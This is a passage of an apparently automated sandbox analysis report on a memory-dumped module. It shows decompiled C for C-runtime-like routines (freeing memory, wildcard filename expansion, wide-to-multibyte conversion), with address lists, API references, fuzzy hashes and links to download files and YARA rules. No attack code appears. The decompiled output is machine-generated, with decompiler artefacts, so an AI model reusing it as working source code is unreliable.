					if(_t23 != 0) {
						E6EFBFEFF(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6efe6794; // 0x6effe7e8
					if(_t24 != 0) {
						E6EFBFEFF(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6efe6798; // 0x6effe7e8
					if(_t25 != 0) {
						E6EFBFEFF(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6efe67c0; // 0x6efe67e4
					if(_t26 != 0) {
						E6EFBFEFF(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6efe67c4; // 0x6effe7ec
					if(_t27 != 0) {
						return E6EFBFEFF(_t6);
					}
				}
				return _t6;
			}

0x6efc470c
0x6efc4711
0x6efc4715
0x6efc471b
0x6efc471e
0x6efc4723
0x6efc4727
0x6efc472d
0x6efc4730
0x6efc4735
0x6efc4739
0x6efc473f
0x6efc4742
0x6efc4747
0x6efc474b
0x6efc4751
0x6efc4754
0x6efc4759
0x6efc475a
0x6efc475d
0x6efc4763
0x00000000
0x6efc476b
0x6efc4763
0x6efc476e

APIs

_free.LIBCMT ref: 6EFC471E

Part of subcall function 6EFBFEFF: HeapFree.KERNEL32(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC4730
_free.LIBCMT ref: 6EFC4742
_free.LIBCMT ref: 6EFC4754
_free.LIBCMT ref: 6EFC4766

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8f899b0f81ce9a3a0b3bc82d7f4115aac23f7eca571c67c704cafe2878acb393
Instruction ID: a17ab8feefab5fed0387df6495a9d0a82be1a16b5c2e0358555d66d015992627
Opcode Fuzzy Hash: 8f899b0f81ce9a3a0b3bc82d7f4115aac23f7eca571c67c704cafe2878acb393
Instruction Fuzzy Hash: D9F0623252464AAB9A90DBD9D5E0C6737DDEE46B207F21C46F11ADBA00CF30F8C04B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1699, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EFC1699(void* __ebx, void* __edi, void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t205;
				signed int _t207;
				signed int _t210;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int* _t220;
				signed int _t223;
				void* _t226;
				union _FINDEX_INFO_LEVELS _t227;
				intOrPtr _t230;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				intOrPtr* _t240;
				signed int _t242;
				intOrPtr* _t245;
				signed int _t250;
				signed int _t256;
				signed int _t258;
				signed int _t264;
				intOrPtr* _t265;
				signed int _t273;
				signed int _t275;
				intOrPtr* _t276;
				void* _t278;
				intOrPtr* _t279;
				signed int _t282;
				signed int _t285;
				signed int _t287;
				intOrPtr _t289;
				signed int* _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				void* _t302;
				void* _t303;
				signed int _t305;
				void* _t309;
				signed int _t310;
				void* _t311;
				void* _t312;
				void* _t313;
				signed int _t314;
				void* _t315;
				void* _t316;

				_t131 = _a8;
				_t312 = _t311 - 0x28;
				_t320 = _t131;
				if(_t131 != 0) {
					_t294 = _a4;
					_t223 = 0;
					 *_t131 = 0;
					_t285 = 0;
					_t132 =  *_t294;
					_t233 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t223;
						_t134 = _t233 - _t285;
						_t295 = _t285;
						_v12 = _t295;
						_t272 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t233 - _t295;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t297 =  !_t295 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t297;
						if(_t297 != 0) {
							_t214 = _t285;
							_t282 = _t223;
							do {
								_t265 =  *_t214;
								_t20 = _t265 + 1; // 0x1
								_v20 = _t20;
								do {
									_t216 =  *_t265;
									_t265 = _t265 + 1;
									__eflags = _t216;
								} while (_t216 != 0);
								_t223 = _t223 + 1 + _t265 - _v20;
								_t214 = _v12 + 4;
								_t282 = _t282 + 1;
								_v12 = _t214;
								__eflags = _t282 - _t297;
							} while (_t282 != _t297);
							_t272 = _v16;
							_v8 = _t223;
							_t223 = 0;
							__eflags = 0;
						}
						_t298 = E6EFBF7DC(_t136, _t272, _v8, 1);
						_t313 = _t312 + 0xc;
						__eflags = _t298;
						if(_t298 != 0) {
							_v12 = _t285;
							_t139 = _t298 + _v16 * 4;
							_t234 = _t139;
							_v28 = _t139;
							_t140 = _t285;
							_v16 = _t234;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t223;
								 *_a8 = _t298;
								_t299 = _t223;
								goto L25;
							} else {
								_t275 = _t298 - _t285;
								__eflags = _t275;
								_v32 = _t275;
								do {
									_t150 =  *_t140;
									_t276 = _t150;
									_v24 = _t150;
									_v20 = _t276 + 1;
									do {
										_t152 =  *_t276;
										_t276 = _t276 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t276 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E6EFC4A43(_t234, _v28 - _t234 + _v8, _v24);
									_t313 = _t313 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										E6EFC00F7();
										asm("int3");
										_t309 = _t313;
										_push(_t234);
										_t240 = _v72;
										_t65 = _t240 + 1; // 0x1
										_t278 = _t65;
										do {
											_t159 =  *_t240;
											_t240 = _t240 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t285);
										_t287 = _a8;
										_t242 = _t240 - _t278 + 1;
										_v12 = _t242;
										__eflags = _t242 -  !_t287;
										if(_t242 <=  !_t287) {
											_push(_t223);
											_push(_t298);
											_t68 = _t287 + 1; // 0x1
											_t226 = _t68 + _t242;
											_t302 = E6EFC01B7(_t242, _t226, 1);
											__eflags = _t287;
											if(_t287 == 0) {
												L40:
												_push(_v12);
												_t226 = _t226 - _t287;
												_t164 = E6EFC4A43(_t302 + _t287, _t226, _v0);
												_t314 = _t313 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t230 = _a12;
													_t207 = E6EFC1C8B(_t230);
													_v12 = _t207;
													__eflags = _t207;
													if(_t207 == 0) {
														 *( *(_t230 + 4)) = _t302;
														_t305 = 0;
														_t77 = _t230 + 4;
														 *_t77 =  *(_t230 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E6EFBFEFF(_t302);
														_t305 = _v12;
													}
													E6EFBFEFF(0);
													_t210 = _t305;
													goto L37;
												}
											} else {
												_push(_t287);
												_t212 = E6EFC4A43(_t302, _t226, _a4);
												_t314 = _t313 + 0x10;
												__eflags = _t212;
												if(_t212 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6EFC00F7();
													asm("int3");
													_push(_t309);
													_t310 = _t314;
													_t315 = _t314 - 0x298;
													_t166 =  *0x6efe609c; // 0x65dbd48f
													_v124 = _t166 ^ _t310;
													_t245 = _v108;
													_t279 = _v104;
													_push(_t226);
													_push(0);
													_t289 = _v112;
													_v724 = _t279;
													__eflags = _t245 - _t289;
													if(_t245 != _t289) {
														while(1) {
															_t205 =  *_t245;
															__eflags = _t205 - 0x2f;
															if(_t205 == 0x2f) {
																break;
															}
															__eflags = _t205 - 0x5c;
															if(_t205 != 0x5c) {
																__eflags = _t205 - 0x3a;
																if(_t205 != 0x3a) {
																	_t245 = E6EFC4A90(_t289, _t245);
																	__eflags = _t245 - _t289;
																	if(_t245 != _t289) {
																		continue;
																	}
																}
															}
															break;
														}
														_t279 = _v616;
													}
													_t168 =  *_t245;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t227 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t227;
														_v672 = _t227;
														_push(_t302);
														asm("sbb eax, eax");
														_v668 = _t227;
														_v664 = _t227;
														_v644 =  ~(_t169 & 0x000000ff) & _t245 - _t289 + 0x00000001;
														_v660 = _t227;
														_v656 = _t227;
														_t175 = E6EFC167A(_t245 - _t289 + 1, _t289,  &_v676, E6EFC1B96(_t279, __eflags));
														_t316 = _t315 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t227,  &_v608, _t227, _t227, _t227);
														_t303 = _t179;
														__eflags = _t303 - 0xffffffff;
														if(_t303 != 0xffffffff) {
															_t250 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t250;
															_v648 = _t250 >> 2;
															do {
																_v640 = _t227;
																_v636 = _t227;
																_v632 = _t227;
																_v628 = _t227;
																_v624 = _t227;
																_v620 = _t227;
																_t185 = E6EFC15AB( &(_v608.cFileName),  &_v640,  &_v609, E6EFC1B96(_t279, __eflags));
																_t316 = _t316 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t289);
																	_push(_t188);
																	L33();
																	_t316 = _t316 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t227;
																		if(_v620 != _t227) {
																			E6EFBFEFF(_v632);
																			_t188 = _v652;
																		}
																		_t227 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t256 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t256;
																	if(_t256 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t256 - 0x2e;
																		if(_t256 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t227;
																			if( *((intOrPtr*)(_t188 + 2)) == _t227) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t303);
																goto L77;
																L68:
																__eflags = _v620 - _t227;
																if(_v620 != _t227) {
																	E6EFBFEFF(_v632);
																}
																__eflags = FindNextFileW(_t303,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t258 = _v648;
															_t280 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t258 - _t199;
															if(_t258 != _t199) {
																E6EFBEB90(_t227, _t289, _t303, _t280 + _t258 * 4, _t199 - _t258, 4, E6EFC14E1);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t227);
															_push(_t227);
															_push(_t289);
															L33();
															_t227 = _t179;
														}
														L77:
														__eflags = _v656;
														if(_v656 != 0) {
															E6EFBFEFF(_v668);
														}
													} else {
														__eflags = _t245 - _t289 + 1;
														if(_t245 == _t289 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t279);
															_push(0);
															_push(0);
															_push(_t289);
															L33();
														}
													}
													__eflags = _v16 ^ _t310;
													return E6EFBC65E(_v16 ^ _t310);
												} else {
													goto L40;
												}
											}
										} else {
											_t210 = 0xc;
											L37:
											return _t210;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t213 = _v12;
									_t264 = _v16;
									 *((intOrPtr*)(_v32 + _t213)) = _t264;
									_t140 = _t213 + 4;
									_t234 = _t264 + _v20;
									_v16 = _t234;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t299 = _t298 | 0xffffffff;
							_v12 = _t299;
							L25:
							E6EFBFEFF(_t223);
							_pop(_t235);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t223;
							_t218 = E6EFC4A50(_t132,  &_v8);
							_t235 =  *_t294;
							__eflags = _t218;
							if(_t218 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t218);
								_push(_t235);
								L46();
								_t312 = _t312 + 0xc;
								_v12 = _t218;
								_t299 = _t218;
							} else {
								_t219 =  &(_v608.cAlternateFileName);
								_push(_t219);
								_push(_t223);
								_push(_t223);
								_push(_t235);
								L33();
								_t299 = _t219;
								_t312 = _t312 + 0x10;
								_v12 = _t299;
							}
							__eflags = _t299;
							if(_t299 != 0) {
								break;
							}
							_t294 =  &(_a4[1]);
							_a4 = _t294;
							_t132 =  *_t294;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t285 = _v608.cAlternateFileName;
								_t233 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t285 = _v608.cAlternateFileName;
						L26:
						_t273 = _t285;
						_v32 = _t273;
						__eflags = _v40 - _t273;
						asm("sbb ecx, ecx");
						_t237 =  !_t235 & _v40 - _t273 + 0x00000003 >> 0x00000002;
						__eflags = _t237;
						_v28 = _t237;
						if(_t237 != 0) {
							_t301 = _t237;
							do {
								E6EFBFEFF( *_t285);
								_t223 = _t223 + 1;
								_t285 = _t285 + 4;
								__eflags = _t223 - _t301;
							} while (_t223 != _t301);
							_t285 = _v608.cAlternateFileName;
							_t299 = _v12;
						}
						E6EFBFEFF(_t285);
						goto L31;
					}
				} else {
					_t220 = E6EFC01A4(_t320);
					_t299 = 0x16;
					 *_t220 = _t299;
					E6EFC00E7();
					L31:
					return _t299;
				}
				L81:
			}

0x6efc169e
0x6efc16a1
0x6efc16a5
0x6efc16a7
0x6efc16bd
0x6efc16c1
0x6efc16c4
0x6efc16c6
0x6efc16c8
0x6efc16ca
0x6efc16cc
0x6efc16cf
0x6efc16d2
0x6efc16d5
0x6efc16d7
0x6efc173a
0x6efc173c
0x6efc173f
0x6efc1741
0x6efc1745
0x6efc174e
0x6efc174f
0x6efc1752
0x6efc1754
0x6efc1757
0x6efc175b
0x6efc175b
0x6efc175d
0x6efc175f
0x6efc1761
0x6efc1763
0x6efc1763
0x6efc1765
0x6efc1768
0x6efc176b
0x6efc176b
0x6efc176d
0x6efc176e
0x6efc176e
0x6efc1779
0x6efc177b
0x6efc177e
0x6efc177f
0x6efc1782
0x6efc1782
0x6efc1786
0x6efc1789
0x6efc178c
0x6efc178c
0x6efc178c
0x6efc1799
0x6efc179b
0x6efc179e
0x6efc17a0
0x6efc17b8
0x6efc17bb
0x6efc17be
0x6efc17c0
0x6efc17c3
0x6efc17c5
0x6efc17c8
0x6efc17cb
0x6efc1828
0x6efc182b
0x6efc182e
0x6efc1830
0x00000000
0x6efc17cd
0x6efc17cf
0x6efc17cf
0x6efc17d1
0x6efc17d4
0x6efc17d4
0x6efc17d6
0x6efc17d8
0x6efc17de
0x6efc17e1
0x6efc17e1
0x6efc17e3
0x6efc17e4
0x6efc17e4
0x6efc17eb
0x6efc17ee
0x6efc17f2
0x6efc17ff
0x6efc1804
0x6efc1807
0x6efc1809
0x6efc187f
0x6efc1880
0x6efc1881
0x6efc1882
0x6efc1883
0x6efc1884
0x6efc1889
0x6efc188d
0x6efc188f
0x6efc1890
0x6efc1893
0x6efc1893
0x6efc1896
0x6efc1896
0x6efc1898
0x6efc1899
0x6efc1899
0x6efc189d
0x6efc189e
0x6efc18a5
0x6efc18a8
0x6efc18ab
0x6efc18ad
0x6efc18b7
0x6efc18b8
0x6efc18b9
0x6efc18bc
0x6efc18c6
0x6efc18ca
0x6efc18cc
0x6efc18e0
0x6efc18e0
0x6efc18e3
0x6efc18ed
0x6efc18f2
0x6efc18f5
0x6efc18f7
0x00000000
0x6efc18f9
0x6efc18f9
0x6efc18fe
0x6efc1905
0x6efc1908
0x6efc190a
0x6efc191b
0x6efc191d
0x6efc191f
0x6efc191f
0x6efc191f
0x6efc190c
0x6efc190d
0x6efc1912
0x6efc1915
0x6efc1924
0x6efc192a
0x00000000
0x6efc192d
0x6efc18ce
0x6efc18ce
0x6efc18d4
0x6efc18d9
0x6efc18dc
0x6efc18de
0x6efc1930
0x6efc1932
0x6efc1933
0x6efc1934
0x6efc1935
0x6efc1936
0x6efc1937
0x6efc193c
0x6efc193f
0x6efc1940
0x6efc1942
0x6efc1948
0x6efc194f
0x6efc1952
0x6efc1955
0x6efc1958
0x6efc1959
0x6efc195a
0x6efc195d
0x6efc1963
0x6efc1965
0x6efc1967
0x6efc1967
0x6efc1969
0x6efc196b
0x00000000
0x00000000
0x6efc196d
0x6efc196f
0x6efc1971
0x6efc1973
0x6efc197e
0x6efc1980
0x6efc1982
0x00000000
0x00000000
0x6efc1982
0x6efc1973
0x00000000
0x6efc196f
0x6efc1984
0x6efc1984
0x6efc198a
0x6efc198c
0x6efc1992
0x6efc1994
0x6efc19b6
0x6efc19b6
0x6efc19b8
0x6efc19ba
0x6efc19c6
0x6efc19c6
0x6efc19bc
0x6efc19bc
0x6efc19be
0x00000000
0x6efc19c0
0x6efc19c0
0x6efc19c2
0x6efc19c4
0x00000000
0x00000000
0x6efc19c4
0x6efc19be
0x6efc19ce
0x6efc19d6
0x6efc19dc
0x6efc19dd
0x6efc19df
0x6efc19e7
0x6efc19ed
0x6efc19f3
0x6efc19f9
0x6efc1a0d
0x6efc1a12
0x6efc1a1d
0x6efc1a2d
0x6efc1a33
0x6efc1a35
0x6efc1a38
0x6efc1a5b
0x6efc1a5b
0x6efc1a60
0x6efc1a66
0x6efc1a66
0x6efc1a6c
0x6efc1a72
0x6efc1a78
0x6efc1a7e
0x6efc1a84
0x6efc1aa5
0x6efc1aaa
0x6efc1aaf
0x6efc1ab3
0x6efc1ab9
0x6efc1abc
0x6efc1acf
0x6efc1acf
0x6efc1ad5
0x6efc1adb
0x6efc1adc
0x6efc1add
0x6efc1ae2
0x6efc1ae5
0x6efc1aeb
0x6efc1aed
0x6efc1b4b
0x6efc1b51
0x6efc1b59
0x6efc1b5e
0x6efc1b64
0x6efc1b65
0x00000000
0x00000000
0x00000000
0x6efc1abe
0x6efc1abe
0x6efc1ac1
0x6efc1ac3
0x00000000
0x6efc1ac5
0x6efc1ac5
0x6efc1ac8
0x00000000
0x6efc1aca
0x6efc1aca
0x6efc1acd
0x00000000
0x00000000
0x00000000
0x00000000
0x6efc1acd
0x6efc1ac8
0x6efc1ac3
0x6efc1b67
0x6efc1b68
0x00000000
0x6efc1aef
0x6efc1aef
0x6efc1af5
0x6efc1afd
0x6efc1b02
0x6efc1b11
0x6efc1b11
0x6efc1b19
0x6efc1b1f
0x6efc1b25
0x6efc1b2c
0x6efc1b2f
0x6efc1b31
0x6efc1b41
0x6efc1b46
0x00000000
0x6efc1a3a
0x6efc1a3a
0x6efc1a40
0x6efc1a41
0x6efc1a42
0x6efc1a43
0x6efc1a4b
0x6efc1a4b
0x6efc1b6e
0x6efc1b6e
0x6efc1b76
0x6efc1b7e
0x6efc1b83
0x6efc1996
0x6efc1999
0x6efc199b
0x6efc19b0
0x00000000
0x6efc199d
0x6efc199d
0x6efc19a0
0x6efc19a1
0x6efc19a2
0x6efc19a3
0x6efc19a8
0x6efc199b
0x6efc1b8a
0x6efc1b95
0x00000000
0x00000000
0x00000000
0x6efc18de
0x6efc18af
0x6efc18b1
0x6efc18b2
0x6efc18b6
0x6efc18b6
0x00000000
0x00000000
0x00000000
0x00000000
0x6efc180b
0x6efc180b
0x6efc1811
0x6efc1814
0x6efc1817
0x6efc181a
0x6efc181d
0x6efc1820
0x6efc1823
0x6efc1823
0x00000000
0x6efc17d4
0x6efc17a2
0x6efc17a2
0x6efc17a5
0x6efc1832
0x6efc1833
0x6efc1838
0x00000000
0x6efc1838
0x6efc16d9
0x6efc16d9
0x6efc16dc
0x6efc16e4
0x6efc16e7
0x6efc16ee
0x6efc16f0
0x6efc16f2
0x6efc170d
0x6efc170e
0x6efc170f
0x6efc1710
0x6efc1715
0x6efc1718
0x6efc171b
0x6efc16f4
0x6efc16f4
0x6efc16f7
0x6efc16f8
0x6efc16f9
0x6efc16fa
0x6efc16fb
0x6efc1700
0x6efc1702
0x6efc1705
0x6efc1705
0x6efc171d
0x6efc171f
0x00000000
0x00000000
0x6efc1728
0x6efc172b
0x6efc172e
0x6efc1730
0x6efc1732
0x00000000
0x6efc1734
0x6efc1734
0x6efc1737
0x00000000
0x6efc1737
0x00000000
0x6efc1732
0x6efc17ad
0x6efc1839
0x6efc183c
0x6efc1840
0x6efc1849
0x6efc184c
0x6efc1850
0x6efc1850
0x6efc1852
0x6efc1855
0x6efc1857
0x6efc1859
0x6efc185b
0x6efc1860
0x6efc1861
0x6efc1865
0x6efc1865
0x6efc1869
0x6efc186c
0x6efc186c
0x6efc1870
0x00000000
0x6efc1877
0x6efc16a9
0x6efc16a9
0x6efc16b0
0x6efc16b1
0x6efc16b3
0x6efc1878
0x6efc187e
0x6efc187e
0x00000000

APIs

_free.LIBCMT ref: 6EFC1833

Strings

*?, xrefs: 6EFC16DC

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 8c8d511e6ea196100512c12a7ea46039141ace5b87392d3855a92573c06a66c9
Instruction ID: 208185a1d5da21c4663612ca4d8e13ef204378ee430dfb505862d42e302ccedd
Opcode Fuzzy Hash: 8c8d511e6ea196100512c12a7ea46039141ace5b87392d3855a92573c06a66c9
Instruction Fuzzy Hash: 90617CB6E0421A9FDB14CFE9C8905EEFBF9EF48710B2481AAD814E7340D7319E458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC15AB, Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC15AB(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E6EFC27A9(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E6EFC27A9(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E6EFC016E(GetLastError());
									_t19 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E6EFC1BF1(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6EFC016E(GetLastError());
						return  *((intOrPtr*)(E6EFC01A4(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E6EFC1BF1(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E6EFC1BD7(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x6efc15b2
0x6efc15b7
0x6efc15d5
0x6efc15d7
0x6efc15da
0x6efc1607
0x6efc160f
0x6efc1611
0x6efc162a
0x6efc162d
0x6efc1630
0x6efc163e
0x6efc164d
0x6efc1655
0x6efc1657
0x6efc1670
0x6efc1673
0x6efc1673
0x6efc1659
0x6efc1660
0x6efc166b
0x6efc166b
0x6efc1675
0x00000000
0x6efc1675
0x6efc1635
0x6efc163a
0x6efc163c
0x00000000
0x00000000
0x00000000
0x6efc163c
0x6efc161a
0x00000000
0x6efc1625
0x6efc15dc
0x6efc15df
0x6efc15e2
0x6efc15f5
0x6efc15f8
0x6efc15cb
0x6efc15cb
0x00000000
0x6efc15ce
0x6efc15e8
0x6efc15ed
0x6efc15ef
0x6efc1679
0x6efc1679
0x00000000
0x6efc15ef
0x6efc15b9
0x6efc15be
0x6efc15c3
0x6efc15c5
0x6efc15c8
0x00000000

APIs

Part of subcall function 6EFC1BD7: _free.LIBCMT ref: 6EFC1BE5

Part of subcall function 6EFC27A9: WideCharToMultiByte.KERNEL32(?,00000000,6EFC084A,00000000,00000001,6EFC07E3,6EFC3ABD,?,6EFC084A,?,00000000,?,6EFC3834,0000FDE9,00000000,?), ref: 6EFC284B

GetLastError.KERNEL32 ref: 6EFC1613
__dosmaperr.LIBCMT ref: 6EFC161A
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6EFC1659
__dosmaperr.LIBCMT ref: 6EFC1660

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 31cf1aa4aa2060f3af581ba84ff2dbdfaff759b47a89718592ebdca9ae850215
Instruction ID: d412b40a0e21ab32c3a9ad5e57ae6ef23f89c1b13193d9bf4b9a7419217d7c2a
Opcode Fuzzy Hash: 31cf1aa4aa2060f3af581ba84ff2dbdfaff759b47a89718592ebdca9ae850215
